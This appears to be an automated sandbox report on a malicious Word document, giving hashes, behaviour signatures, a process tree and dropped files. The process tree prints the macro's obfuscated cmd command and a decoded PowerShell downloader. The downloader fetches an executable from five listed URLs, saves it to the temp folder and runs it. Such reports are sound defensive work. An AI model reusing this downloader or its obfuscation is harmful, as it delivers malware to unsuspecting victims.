Analysis

  • max time kernel
    118s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 05:08

General

  • Target

    5d556be2d8f7b1ee8cf75c1fdbc3258e_JaffaCakes118.doc

  • Size

    88KB

  • MD5

    5d556be2d8f7b1ee8cf75c1fdbc3258e

  • SHA1

    64a38f77f27e6c43f2c442b292c601713d649252

  • SHA256

    f56253a906074b2f40c32b182590049f4aa89644d9904f74021dc6a2333e17be

  • SHA512

    aae1f5e0374dc67428dca48a54019a70cb65e843406eaf96530e327de0cf798cf4e7afe4fb5d61672091737c73288e1fee2cf3dd09d5d875e0b526fbf14a5329

  • SSDEEP

    768:SJOVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBZ+1oQAb8gLyVvHKyoZXrQ/iJw7o:gOocn1kp59gxBK85fBZ+aQuFDyg0i64/

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5d556be2d8f7b1ee8cf75c1fdbc3258e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\cmd.exe /V:O/C"set ZW= }}{hctac}}kaerb;ZUX$ ssecorP-tratS;)ZUX$(elifotevas.RTX$;)ydoBesnopser.DRc$(etirw.RTX$;1 = epyt.RTX$;)(nepo.RTX${ )'*ZM*' ekil- txetesnopser.DRc$( fI;)(dnes.DRc$;)0,GjU$,'TEG'(nepo.DRc${yrt{)DIk$ ni GjU$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = RTX$;'ptthlmx.2lmxsm' moc- tcejbO-weN= DRc$;)'exe.vZj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=ZUX$;)'@'(tilpS.'r2XLabAu/ten.kcolnuym//:ptth@gLpdpvh/moc.citamarolf.www//:ptth@gBtLjq99/ri.eltsac-srats//:ptth@4asvsvLN/ta.kcoronarev.www//:ptth@bno8STBJ9/moc.niurtsnocsm//:ptth'=DIk$;'GJS'=vHS$ llehsrewop&&for /L %d in (556,-1,0)do set Vyl=!Vyl!!ZW:~%d,1!&&if %d equ 0 echo !Vyl:*Vyl!=! |FOR /F "tokens=2 delims=.uByX" %I IN ('assoc.ps1xml')DO %I -"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /V:O/C"set ZW= }}{hctac}}kaerb;ZUX$ ssecorP-tratS;)ZUX$(elifotevas.RTX$;)ydoBesnopser.DRc$(etirw.RTX$;1 = epyt.RTX$;)(nepo.RTX${ )'*ZM*' ekil- txetesnopser.DRc$( fI;)(dnes.DRc$;)0,GjU$,'TEG'(nepo.DRc${yrt{)DIk$ ni GjU$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = RTX$;'ptthlmx.2lmxsm' moc- tcejbO-weN= DRc$;)'exe.vZj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=ZUX$;)'@'(tilpS.'r2XLabAu/ten.kcolnuym//:ptth@gLpdpvh/moc.citamarolf.www//:ptth@gBtLjq99/ri.eltsac-srats//:ptth@4asvsvLN/ta.kcoronarev.www//:ptth@bno8STBJ9/moc.niurtsnocsm//:ptth'=DIk$;'GJS'=vHS$ llehsrewop&&for /L %d in (556,-1,0)do set Vyl=!Vyl!!ZW:~%d,1!&&if %d equ 0 echo !Vyl:*Vyl!=! |FOR /F "tokens=2 delims=.uByX" %I IN ('assoc.ps1xml')DO %I -"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo powershell $SHv='SJG';$kID='http://msconstruin.com/9JBTS8onb@http://www.veranorock.at/NLvsvsa4@http://stars-castle.ir/99qjLtBg@http://www.floramatic.com/hvpdpLg@http://myunlock.net/uAbaLX2r'.Split('@');$XUZ=([System.IO.Path]::GetTempPath()+'\jZv.exe');$cRD =New-Object -com 'msxml2.xmlhttp';$XTR = New-Object -com 'adodb.stream';foreach($UjG in $kID){try{$cRD.open('GET',$UjG,0);$cRD.send();If ($cRD.responsetext -like '*MZ*') {$XTR.open();$XTR.type = 1;$XTR.write($cRD.responseBody);$XTR.savetofile($XUZ);Start-Process $XUZ;break}}catch{}} "
            4⤵
              PID:2044
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=.uByX" %I IN ('assoc.ps1xml') DO %I -"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2860
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c assoc.ps1xml
                5⤵
                  PID:2868
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  PowerShell -
                  5⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2476
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =SJG
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2456

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

          Filesize

          68KB

          MD5

          29f65ba8e88c063813cc50a4ea544e93

          SHA1

          05a7040d5c127e68c25d81cc51271ffb8bef3568

          SHA256

          1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

          SHA512

          e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

        • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

          Filesize

          20KB

          MD5

          91a0c5ab8dca8639dc02e95ecaa46c8e

          SHA1

          d1ca4f28a6ac0fba57ec08a907f68f8587ad0613

          SHA256

          277b6c52f4aab94273e9f5dceb0660922efd3575e42ded1e7669c0549f296e41

          SHA512

          59d8009431322e13af66672e703e3ffe87cdbcb5ca018a5a6fa48eeee976d6f70087ed0d967f5b92c9d7e60e520c2513d494f8ff2bbb42a544509b6eaee62f0b

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

          Filesize

          7KB

          MD5

          63e044dcfcdeae1d6f33c11e540ac4e2

          SHA1

          ee9b63b377eb2f4763e0e1ddcb1f17bd67b160de

          SHA256

          118a1c985664e8dab9f9748b51977da2c411d165fbfccd5683d21e3856ec3325

          SHA512

          db93194196a9359560cc1ed9614642f17e06cb18697cf24a072dfaf5939a07f2857ae9d6baa1df20124bab9493f5f569f8b3487456c9205e6222629fa51bae7f

        • memory/948-59-0x0000000071A4D000-0x0000000071A58000-memory.dmp

          Filesize

          44KB

        • memory/948-60-0x0000000000530000-0x0000000000630000-memory.dmp

          Filesize

          1024KB

        • memory/948-7-0x0000000000530000-0x0000000000630000-memory.dmp

          Filesize

          1024KB

        • memory/948-83-0x0000000071A4D000-0x0000000071A58000-memory.dmp

          Filesize

          44KB

        • memory/948-6-0x0000000000530000-0x0000000000630000-memory.dmp

          Filesize

          1024KB

        • memory/948-82-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/948-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/948-8-0x0000000000530000-0x0000000000630000-memory.dmp

          Filesize

          1024KB

        • memory/948-2-0x0000000071A4D000-0x0000000071A58000-memory.dmp

          Filesize

          44KB

        • memory/948-0-0x000000002F251000-0x000000002F252000-memory.dmp

          Filesize

          4KB

        • memory/2456-23-0x00000000002C0000-0x00000000002C9000-memory.dmp

          Filesize

          36KB

        • memory/2456-22-0x00000000055B0000-0x000000000560B000-memory.dmp

          Filesize

          364KB

        • memory/2476-24-0x0000000006360000-0x0000000006493000-memory.dmp

          Filesize

          1.2MB

        • memory/2476-16-0x00000000054C0000-0x000000000551B000-memory.dmp

          Filesize

          364KB